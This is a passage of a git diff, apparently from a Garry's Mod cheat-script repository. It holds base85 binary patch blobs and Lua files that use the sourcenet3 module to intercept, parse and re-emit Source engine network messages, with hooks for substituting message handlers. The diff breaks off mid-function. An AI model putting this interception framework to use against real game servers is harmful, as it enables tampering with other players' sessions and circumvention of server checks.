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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/sound/talk.wav b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/sound/talk.wav new file mode 100644 index 0000000000000000000000000000000000000000..018dcaae412d0baf9eefd80c7b01086c34fad920 GIT binary patch literal 2504 zcmcImiF-|F8vlLg-kY0E5}}qDgc5BmBWg`MmPE6N*b>WFQcI9f%V;dI7d1#SmB>7n zl+p^Zri9uuwU>~V7?J8wRY9peB<^y)-@N93n0uf5ob!D5ocH@}?|aUm*r=!zUck^^ zLq41^B`r7rfP#VMLx2^-6s!n9@|d(S$#TvA^Yel(zAd{QWDQg0c#rSkM?U0w{!UNy zVJB69QkwXcb9e_I;f`aq4znNCn>5tFj0#)7>PxPW0B6nqs@%Y_FV{U8rRM43!GHDW zrY;1~vL%ygFCarl)~AN5-36>eSX#QxVR;q7D!`JJQUZ-o!C$70{YCd!JK((We`?>Xs?#$NSVa{uMB#!GGbF;D1X;m)A zdDpk*E%TT@?dsxT@)CdWC}aYy?#J4n?c6Pm9cbaz%EQwd;W-s4Rv(M0hUx|AZ;5j@ zv43K{>l|sh>F}@l&2y;E^m*xBsUqx`oiDY&>%8NXzG4=+ZgRAviMzG+d-oskw=b%y zqf1?WucmUD`+;M+?)CaB=Pu_EM=?)26Vzus#KG*!YkGoF%;~SoQRs|v-m*pOjh^4w zqCGM^_N&SE-RPh~%t=VMDc#Kaz@BG0XX~j38>JjaZ%ZyNs3OY)-I&ubL-lqqFwVQS zn|bJFK5|#_dvl0cs$X<9SEHi#_B^k9X+8Jr2 zyG*x_nrl9@khzu{My^_IsYGof%*a%Wb%n~YoMO0VJ=-fI%p;P~MhSbVzUmM+8HMn( zq#Kbc-jWV~b(@=!t?zP{`AC<$O9jPVbGtb}XX&PTGK2V|8P9d@Q1gYZa^K}l&e!>z zq-W|aII4T7u_#0(XBfj#q+*R@=6T%H@n)zk2s>@ZtOcsjGLf^KAOhl}D zrf*}Dp2JIs=4@lVO5zZd1G9`Z+D~VwCK#qtj50PhqPZR=Y=d+9GBb6kaL?jb+=g)dm<6mWisvDUAF3?# z8k5ZLbPIh@uh$J3B?{GNcf8OQtT2Z%QZLhC3}7qHV@nqDR~B(4JIVC=TCR-6IQB;~ zSsN=;#m5L#^^5_A8^={Yq^PMVg*V!&t#Y)fQK}r}>LQn^o}7TOEMtj2K&7wh2j*@) zUfCTPO*Bx>4%osmIK#C6)oP6%2t^%npa56tD=d}D!?(CD%4WdCY&^v` zh((5MOGV|T!m0yWVK@e2kW_n9VK+9Sot$~fdOT{RgQ5jRBgys&*26hQ$^(;v zawE^Op*Wr@{>8AHblEcg4GrX;`3MvRy@cCHsj&o$#r4Hfxi0Qv62=PJTTBp@Tnrbb z8X*K%gyApZ`};V>Dq+5XpK=h^FbOe|kzLvfF+zSUkbnXab9}R3+s79^c%;me95bVJxtUJ7v^E2;R37_XTOl0 zg2n0m7%yqek~;4plO^JIWBEUjXJ{~#)ZN*doh3ub{FCJ6x+t0{eVV|}cu@BAz+-t& zXo60{{vF|(j1S~&3Vb9_ucV*Kw96O66LnNycMdQYDJR+D^h|9;ALT}upUDDc9 zG8-Ya0_1m}p*X;|q?=#LeEC592*M3X+a1|)xpYdh^xr_4`w5)P(fm6Xaf4)Nza;0d z_+22pXNga5ddVjD1d8g>f+|)zWhvI8Kqf_o^lG9om9CPW>>Hbq*j{oI+b^nrY~-Nc rK5`z`ty|}|?K`w>-$m9Fq7vV{qa{q6IW;*rYTAs6= NET_MESSAGE_BITS ) do + local msg = read:ReadUBitLong( NET_MESSAGE_BITS ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.SVC[ msg ] + else + handler = NET_MESSAGES.CLC[ msg ] + end + + if ( !handler ) then + Msg( "Unknown incoming message: " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end + + local func = handler.IncomingCopy or handler.DefaultCopy + + if ( func( netchan, read, write ) == false ) then + Msg( "Failed to filter message " .. msg .. "\n" ) + + write:Seek( totalbits ) + + break + end + end +end ) + +function FilterIncomingMessage( msg, func ) + local handler = NET_MESSAGES[ msg ] + + if ( !handler ) then + if ( CLIENT ) then + handler = NET_MESSAGES.SVC[ msg ] + else + handler = NET_MESSAGES.CLC[ msg ] + end + end + + if ( !handler ) then return end + + handler.IncomingCopy = func +end + +function UnFilterIncomingMessage( msg ) + FilterIncomingMessage( msg, nil ) +end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_netmessages.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_netmessages.lua new file mode 100644 index 0000000..9f6f103 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/SN3/sn3_base_netmessages.lua @@ -0,0 +1,866 @@ +require( "sourcenet3" ) + +function debugprint( ... ) + --print( ... ) +end + +MAX_TABLES = 32 + +function math.log2( val ) + return math.log( val ) / math.log( 2 ) +end + +NET_MESSAGES = { + [ net_NOP ] = { -- 0 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_NOP, NET_MESSAGE_BITS ) + end + }, + + [ net_Disconnect ] = { -- 1 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_Disconnect, NET_MESSAGE_BITS ) + + local reason = read:ReadString() + write:WriteString( reason ) + + debugprint( "net_Disconnect", reason ) + end + }, + + [ net_File ] = { -- 2 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_File, NET_MESSAGE_BITS ) + + local transferid = read:ReadUBitLong( 32 ) + write:WriteUBitLong( transferid, 32 ) + + local filename = read:ReadString() + write:WriteString( filename ) + + local requested = read:ReadOneBit() + write:WriteOneBit( requested ) + + debugprint( "net_File", transferid, filename, ( requested == 1 ) ) + end + }, + + [ net_Tick ] = { -- 3 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_Tick, NET_MESSAGE_BITS ) + + local tick = read:ReadLong() + write:WriteLong( tick ) + + local unk1 = read:ReadUBitLong( 16 ) -- 14h + write:WriteUBitLong( unk1, 16 ) + + local unk2 = read:ReadUBitLong( 16 ) -- 18h + write:WriteUBitLong( unk2, 16 ) + + debugprint( "net_Tick", tick, unk1, unk2 ) + end + }, + + [ net_StringCmd ] = { -- 4 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_StringCmd, NET_MESSAGE_BITS ) + + local cmd = read:ReadString() + write:WriteString( cmd ) + + debugprint( "net_StringCmd", cmd ) + end + }, + + [ net_SetConVar ] = { -- 5 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_SetConVar, NET_MESSAGE_BITS ) + + local count = read:ReadByte() + write:WriteByte( count ) + + for i = 1, count do + local cvarname = read:ReadString() + write:WriteString( cvarname ) + + local cvarvalue = read:ReadString() + write:WriteString( cvarvalue ) + + debugprint( "net_SetConVar", cvarname, "=", cvarvalue ) + end + end + }, + + [ net_SignonState ] = { -- 6 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( net_SignonState, NET_MESSAGE_BITS ) + + local state = read:ReadByte() + write:WriteByte( state ) + + local servercount = read:ReadLong() + write:WriteLong( servercount ) + + debugprint( "net_SignonState", state, servercount ) + end + }, + + CLC = { + [ clc_ClientInfo ] = { -- 8 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_ClientInfo, NET_MESSAGE_BITS ) + + local spawncount = read:ReadLong() -- 14h, server spawn count - reconnects client if incorrect + write:WriteLong( spawncount ) + + local sendTableCRC = read:ReadLong() -- 10h + write:WriteLong( sendTableCRC ) + + local ishltv = read:ReadOneBit() -- 18h, requires tv_enable + write:WriteOneBit( ishltv ) + + local friendsID = read:ReadLong() -- 1Ch + write:WriteLong( friendsID ) + + local guid = read:ReadString() -- 20h, hashed CD Key (32 hex alphabetic chars + 0 terminator) + write:WriteString( guid ) + + for i = 1, MAX_CUSTOM_FILES do + local useFile = read:ReadOneBit() -- 40h, 44h, 48h, 4Ch + write:WriteOneBit( useFile ) + + local fileCRC + + if ( useFile == 1 ) then + fileCRC = read:ReadUBitLong( 32 ) + + write:WriteUBitLong( fileCRC, 32 ) + + debugprint( "\t> customization file " .. i .. " = " .. fileCRC ) + else + fileCRC = 0 + end + end + + local unk = read:ReadOneBit() -- 19h, probably replay related + write:WriteOneBit( unk ) + + debugprint( "clc_ClientInfo", spawncount, sendTableCRC, ishltv == 1, friendsID, guid, unk ) + end + }, + + [ clc_Move ] = { -- 9 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_Move, NET_MESSAGE_BITS ) + + local new = read:ReadUBitLong( 4 ) + write:WriteUBitLong( new, 4 ) + + local backup = read:ReadUBitLong( 3 ) + write:WriteUBitLong( backup, 3 ) + + local bits = read:ReadWord() + write:WriteWord( bits ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "clc_Move", new, backup, bits ) + end + }, + + [ clc_VoiceData ] = { -- 10 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_VoiceData, NET_MESSAGE_BITS ) + + local bits = read:ReadWord() + write:WriteWord( bits ) + + local data = read:ReadBits( bits ) + write:WriteBits( data, bits ) + data:Delete() + + debugprint( "clc_VoiceData", bits ) + end + }, + + [ clc_BaselineAck ] = { -- 11 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_BaselineAck, NET_MESSAGE_BITS ) + + local tick = read:ReadLong() -- 10h + write:WriteLong( tick ) + + local unk2 = read:ReadUBitLong( 1 ) -- 14h + write:WriteUBitLong( unk2, 1 ) + + debugprint( "clc_BaselineAck", tick, unk2 ) + end + }, + + [ clc_ListenEvents ] = { -- 12 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_ListenEvents, NET_MESSAGE_BITS ) + + debugprint( "clc_ListenEvents" ) + + for i = 1, 16 do + local unk1 = read:ReadUBitLong( 32 ) + write:WriteUBitLong( unk1, 32 ) + end + end + }, + + [ clc_RespondCvarValue ] = { -- 13 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_RespondCvarValue, NET_MESSAGE_BITS ) + + local cookie = read:ReadSBitLong( 32 ) -- 10h + write:WriteSBitLong( cookie, 32 ) + + local status = read:ReadSBitLong( 4 ) -- 1Ch + write:WriteSBitLong( status, 4 ) + + local cvarname = read:ReadString() -- 14h + write:WriteString( cvarname ) + + local cvarvalue = read:ReadString() -- 18h + write:WriteString( cvarvalue ) + + debugprint( "clc_RespondCvarValue", cookie, status, cvarname, cvarvalue ) + end + }, + + [ clc_FileCRCCheck ] = { -- 14 (Untested) + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_FileCRCCheck, NET_MESSAGE_BITS ) + + local unk1 = read:ReadOneBit() + write:WriteOneBit( unk1 ) + + local gamepath = read:ReadUBitLong( 2 ) + write:WriteUBitLong( gamepath, 2 ) + + local unk3 + + if ( gamepath == 0 ) then + unk3 = read:ReadString() -- 10h + write:WriteString( unk3 ) + end + + local unk4 = read:ReadUBitLong( 3 ) + write:WriteUBitLong( unk4, 3 ) + + local filename = read:ReadString() + write:WriteString( filename ) + + local unk6 = read:ReadUBitLong( 32 ) + write:WriteUBitLong( unk6, 32 ) + + debugprint( "FileCRCCheck", unk1, gamepath, unk3, unk4, filename, unk6 ) + end + }, + + [ clc_CmdKeyValues ] = { -- 16 + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_CmdKeyValues, NET_MESSAGE_BITS ) + + local length = read:ReadLong() + write:WriteLong( length ) + + local keyvalues = read:ReadBits( length * 8 ) + write:WriteBits( keyvalues, length * 8 ) + keyvalues:Delete() + + debugprint( "clc_CmdKeyValues", length ) + end + }, + + [ clc_FileMD5Check ] = { -- 17 (Untested, seems to just copy FileCRCCheck?) + DefaultCopy = function( netchan, read, write ) + write:WriteUBitLong( clc_FileMD5Check, NET_MESSAGE_BITS ) + + local unk1 = read:ReadOneBit() + write:WriteOneBit( unk1 ) + + local gamepath = read:ReadUBitLong( 2 ) + write:WriteUBitLong( gamepath, 2 ) + + local unk3 + + if ( gamepath == 0 ) then + unk3 = read:ReadString() -- 10h + write:WriteString( unk3 ) + end + + local unk4 = 